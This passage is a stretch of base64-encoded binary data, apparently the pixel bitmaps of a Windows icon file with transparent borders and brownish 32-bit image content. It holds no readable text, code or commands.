HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp + Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv85KSL/OCgh/zgoIf84KCH/Nycg/zQkHf8yIhv/OCgh/z8vKP9PPzj/YlJL/3NjXf99bWX/koN8/+jk + 4v/////////+/9LNyv9IODX/MiEb/009Nv9dTUb/Tj43/zwsJf8zIxz/MiIb/zYmH/80JB3/NCQd/zco + IP84KCH/OSki/zkpIf85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/OCgh/zcnIP82Jh//MyMc/zAg + Gf8wIBj/KhoY/7Copf/8+/v/+vn5/6GXk/8uHRX/OSoj/zQkHf81JR7/NiYf/zcnIP84KCH/OCgh/zEh + G/9WRj//VUU+/zEhGv84KCH/OSki/zkpIv85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zMjHP8xIBn/Oioj/zkp + Iv84KCH/OCgh/zgnIP85KSL/LBsU/5GHgv/39vb/9PLx/4N3cv8tHBX/OCgh/zcnIP84KCH/OCgh/zkp + Iv85KSL/NSUe/ycWEP+hl5P/oJWS/ygXEv82Jh//OSki/zkpIv85KSL/OSki/zMjHP8+LifjbV1WZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/0o6 + M/9TQz3/NSUe/zgoIf84KCH/OCgh/zgoIf84KCH/Lx4X/3NmYP/v7ez/6Obl/2FTTv8xIRr/OCgh/zgo + If84KCH/OSki/zkpIf85KSL/Lx8X/1xMSP/g3Nv/4Nzb/1pLR/8vHxn/Oioj/zkpIf85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQjt/Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/MyUg/5iPjP/Bubb/Jxwa/zYlH/84KCH/OSki/zkpIv84KCH/MSEa/1JCPP/g3Nr/2NPR/0o5 + M/80Ixz/OSki/zkpIv85KSH/OSki/zkpIv8xIRr/VkU//9jU0f/+/v7//v7+/9fSz/9WR0D/MSEa/zkp + Iv85KSH/OSki/zMjHP8+LifjbV1WZ////wH///8B////Af///wFSQjuBOysk8zUlHf84KCH/OSki/zkp + Iv85KSL/OSki/zYmH/84KCD/raOe/+Dc2f/s6ej/rKOg/1JDPf8yIhv/OCki/zgpIf85KSL/MyMc/0Q0 + LP/Tz83/ysTC/zoqI/80JB3/OCgh/zkpIv85KSL/MiIb/zUlHf82Jh//PCsl/5GGgv/w7u3/8O7t/5CF + gv88LCX/Nycg/zkpIv85KSL/OSki/zMjHP89LSblbFxVaf///wH///8B////Af///wFgUElbPCwl3TMj + HP84KCH/OSki/zgoIf84KCH/OSki/zcnIP84KCH/fG9p/8O7uP/b2NX/d2tm/0c4Mf81JB3/OSgi/zkp + Iv85KSL/NCQd/zcmH//HwsD/u7Ov/zMhGv82Jh//OSki/zkpIv8zIhv/Rzcv/z4uJv80Ixz/NCQd/zQj + Hf/AuLX/wLm1/zQjHf8zJB3/OSki/zkpIf85KSH/OCgh/zEhGv8/LyjTeGhhTf///wH///8B////Af// + /wGHd28LUEA5ZTMjHN02Jh/9OCgh/zgoIf84KCH/OCki/zkpIv84KCH/KxoU/3ptaP+dlZD/IRAL/zUk + Hf85KSL/OSki/zkpIv85KSL/NiYf/zEfGP+7sq7/oZiU/y4dFf83JyD/OSki/y4eF/9iU03/9fLx/9HM + yf9MPDX/MiIb/y4eF/9qWlP/aFhR/y0dFv85KSL/OSki/zkpIv83JyD/NSUe+zQkHddaSkNdo5OMB/// + /wH///8B////Af///wH///8BXk5HC0w8NU8/LyirNycg8TUlHv83JyD/OSgh/zkpIv84KCH/Nygh/zsr + JP89LSb/OCgh/zgoIf84KCH/OSki/zkpIv84KCH/Nycg/y0cFf+poJz/joSB/yoZEv85KSL/OSki/ywc + Fv9tX1v/8vHw/9nU0v9URT7/MCAZ/zgoIf84KCH/OCgh/zcnIP84KCH/OCgh/zQkHf82Jh/xQDAppUMz + LEVYSEEJ////Af///wH///8B////Af///wH///8B////AWVVTgVTQzwZRjYvcT8vKNM2Jh/7Nycg/zgo + If84KCH/OCgh/zcnIP82Jh//OSki/zgoIf84KCH/OSki/zkpIv84KCH/OCgh/ysZEv+Rh4P/hHhy/yoZ + Ev85KSL/OSki/zcnIP85KSH/eGtm/2RXUf83JyD/OSki/zkpIv83JyD/Nycg/zgoIf83JyD/NSUe+0Ex + Ks1LOzRpXk5HF19PSAP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVBA + OR1HNzBxNiYf2TQkHfk2Jh//OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/ywc + Ff97bGb/c2Rd/y4dFv84KCH/OSki/zkpIv84KCH/KBgQ/y0dFf85KSH/OSki/zkpIv85KSL/Nycg/zQk + Hfk1JR7XUEA5aV5ORxn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzcDUEA5Q0AwKZk3JyDnNSUe/zgoIf85KSL/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OCgh/y8fGP9tXFX/Y1NM/zAgGf84KCH/OSki/zkpIv84KCH/OCki/zkpIv85KSL/OSki/zgo + If80JB3/OCgh4UExKpVURD09Xk5IA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BaFlSA1JCOxNXR0BPPS0myzUlHv02Jh//OCgh/zgo + If84KCH/OSki/zkpIv85KSL/OSki/zQkHf9WRj//Tj43/zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zcn + IP84KCH/Nycg/zUlHv1ENC3HRzcwRVZGPxN4aGED////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84EUQ0 + LWM9LSbHNCQd9zcnIP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIP84KCH/OSki/zko + Iv84KCH/Nycg/zcnIP82Jh/3OiojwUQ1Ll9ZSUIP////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVlJQgNtXVYrNycgjzYmH901JR77OCgh/zkpIv85KSL/OCgh/zkpIv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv83JyD/NCQd+zcnINdENC2LWUlCJf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BRTUuD0o6M0VCMiupNCQd+TQkHf84KCH/OCgh/zcn + IP84KCH/OCgh/zgoIf84KCH/OSki/zIiG/81JR73SDgxoT8vKT1TQzwP////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFdTUYFPy8oUT0t + JrU0JB3vNCQd/zcnIP84KCH/OCgh/zgoIf82Jh//NCQd7T4uJ7FHNzBNeWliA////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BXk1HA2hYUR8+LidtOSki0zQkHfs3JyD/Nycg/zUlHvs1JR7NPy8oaXNjXB1uXlYD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFVRT4HVEQ9NUExKpU2Jh/ZNycg2Uc3MJFIODExSDcxB/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//KAAAAEAAAACAAAAAAQAgAAAA + AAAAQgAAAAAAAAAAAAAAAAAAAAAAAP///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BRTUuJ0w8NX8+LifRQjIrzVFBOndgUEkf////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFuXlcRZ1dQazgoIeMxIRr/NSUe/zUlHv8vHxj/RTUu21xM + RV1WRj8H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVxMRQdENC1LRDQtxTIiG/8yIhv/OSki/zkp + Iv84KCH/OCgh/zAgGf8xIRr5RTUutUg4MUd7a2QF////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AWdXUD1HNzCnOCgh8zIi + G/82Jh//Oioj/zkpIv85KSL/Nycg/zgoIf86KiP/OCgh/zQkHf83JyDvXExFm04+NzH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BY1NMI009 + NoNBMSrjMCAZ/zUlHv85KSL/Oioj/zkpIv86KiP/NSUe/zYmH/84KCH/OSki/zgoIf83JyD/MyMc/y8f + GP88LCXZTj43gXFhWiH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlcNa1tUaz8vKM8yIhv/MCAZ/zkpIv83JyD/OCgh/zkpIv85KSL/OCgh/0AwKf85KSL/Nycg/zcn + IP83JyD/Nycg/zgoIf83JyD/NCQd/zMjHP9GNi/LZlZPW08/OAX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AWJSSwNeTkdDQjIrvTQkHf8yIhv/Nycg/zoqI/85KSL/OSki/zgoIf85KSL/Oioj/zAg + Gf9gUEn/TT02/zEhGv85KSL/OCgh/zgoIf83JyD/OSki/zgoIf82Jh//MiIb/zEhGvtENC23aFhRPf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVJCOyNSQjuhOioj8zMjHP82Jh//OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OCgh/zkpIv8nFxD/f25n/3BgWf8pGRL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv83JyD/NCQd/zgoIfFZSUKXY1NMGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BdmZfF1FBOn04KCHhLx8Y/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf87KyT/IhIL/5KCe/+GdW7/IxMM/zoqI/85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv81JR7/LBwV/zkpItlhUUpxalpTD////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFLOzQLVkY/XUg4Mc0zIxz/NCQd/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oysk/x0MBf+glI7/l4iB/x8P + CP86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/zoqI/8zIxz/MyMc/z0t + Jr1ENC1JYFBJC////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYBwaQVeTkc/RDQtqy0d + FvswIBn/Nycg/zkpIv84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkq + I/8bCQH/tq6r/6qdmP8ZCAH/Oysk/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgo + If85KSL/OSki/zYmH/8xIRr/NSUe+VFBOqFnV1A3QDApA////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhI + QSVdTUaJPCwl7zIiG/83JyD/Oioj/zkpIv85KSL/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf81Jh//JBIK/8zFwv+tpqT/FwUA/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zgoIf85KSL/Oioj/zYmH/8yIhv/PCwl6zsrJH1TQzwd////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8Bf29oFUk5MnE3JyDZLBwV/zMjHP85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/MCEa/y4cFP/h29j/vri2/yEPBv82JyD/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OSki/zIi + G/8yIhv/PS0m01ZGP21oWFEP////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BVEM8U0o6M8szIxz7MyMc/zcnIP86KiP/OCgh/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/ysbFP86Jx//7urn/9LL + x/8vHBP/MSEb/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv86KiP/OCgh/zIiG/83JyD5Pi4nvU8/OEv///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFcTEUvRzcwqTEhGvEwIBn/NiYf/zkpIv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8oFg//QzQu//Hw7//m39v/Oicf/y0dFf86KiT/OSki/zgoIf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NCQd/zIiG/84KCHvSTkyoUU1 + Lif///8B////Af///wH///8B////Af///wH///8B////AbKimweGdm9HMiIb3y8fGP82Jh//OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf83JyD/OCgh/zkpIv84KCH/Nycg/zUlHv80JBz/MiIb/zEh + Gv8vHhf/KxoT/ycXD/8pFxD/CgEA/1BDPv/29PP/8e/u/zkpJP8TAwH/KhkR/ywbFP8wHxj/MiEa/zQk + HP81JR3/NiYf/zgoIf85KSL/OCgi/zgoIf83JyD/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OCgh/y0dFv8/LyjVZlZPN1lKQwX///8B////Af///wH///8B////Af///wF/b2hZSzs0uyYW + D/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zMjHP8xIRr/LR0V/yYV + Df8kEQr/Lx4W/z4sJP9HNy//VUdA/2lcVv93aWP/gHFs/4R3cv+2qqT//Pv7//n49/+cjon/dWdi/3lt + aP9mWVP/UkQ+/0g3MP8+LCX/Lh0V/ycWD/8rGxP/Lh4Y/zEhGv80JB3/OCgh/zkpIv86KiP/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/Lh4X/zwsJbFWRj9H////Af///wH///8B////Af// + /wH///8BVUU+pT4uJ+sxIRr/OSki/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/zsrJP81JR7/LBsU/yQT + DP8lEwv/NCMb/1NDPf+Bcmz/nZOP/8K9uv/u5uT///38///////6+fj/8fDw/+zr6v/k4d//9PPz//// + /////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX + EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// + /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk + Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL + RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 + t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp + Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + 